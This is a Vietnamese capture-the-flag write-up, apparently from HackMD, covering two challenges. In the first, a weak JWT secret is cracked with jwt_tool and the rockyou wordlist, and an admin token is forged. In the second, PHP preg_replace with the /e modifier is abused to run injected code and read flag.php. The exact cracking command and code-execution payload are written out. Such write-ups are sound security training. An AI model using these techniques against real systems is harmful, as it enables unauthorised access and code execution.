[https://jwt.io/](https://jwt.io/) để decode jwt ![image](https://hackmd.io/_uploads/rkhv6P1Hp.png) Ta sửa role thành admin, nhưng trước hết phải có key để encode. Dùng jwt-tool, sử dụng file rockyou.txt.gz mặc định nhưng không tìm được. Mình sẽ tải từ github ``` wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ``` Sử dụng lệnh ``` python3 jwt_tool.py -d /usr/share/wordlists/rockyou.txt -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw ``` ![image](https://hackmd.io/_uploads/B1zpg9ySp.png) Ta tìm được key là `lol` ![image](https://hackmd.io/_uploads/S1mwtOJHa.png) ![image](https://hackmd.io/_uploads/S1_mFuyHT.png) **Flag:** `PleaseUseAStrongSecretNextTime` # PHP - preg_replace() `preg_replace(pattern, replacement, subject);` - pattern: Biểu thức chính quy được sử dụng để tìm kiếm. - replacement: Chuỗi thay thế. - subject: Chuỗi nguồn cần thực hiện tìm kiếm và thay thế. Sau khi gg thì ta biết đối số thứ hai được đánh giá dưới dạng biểu thức PHP, do đó sẽ in ra PHP info ```php $string = "phpinfo()"; print preg_replace('/^(.*)/e', 'strtoupper(\\1)', $string); ``` Để lấy được flag thì phải đọc file flag.php, vậy ta sẽ input như sau: ![image](https://hackmd.io/_uploads/HyNIOqkH6.png) ![image](https://hackmd.io/_uploads/ByZ1K9JSa.png) Flag: `pr3g_r3pl4c3_3_m0d1f13r_styl3`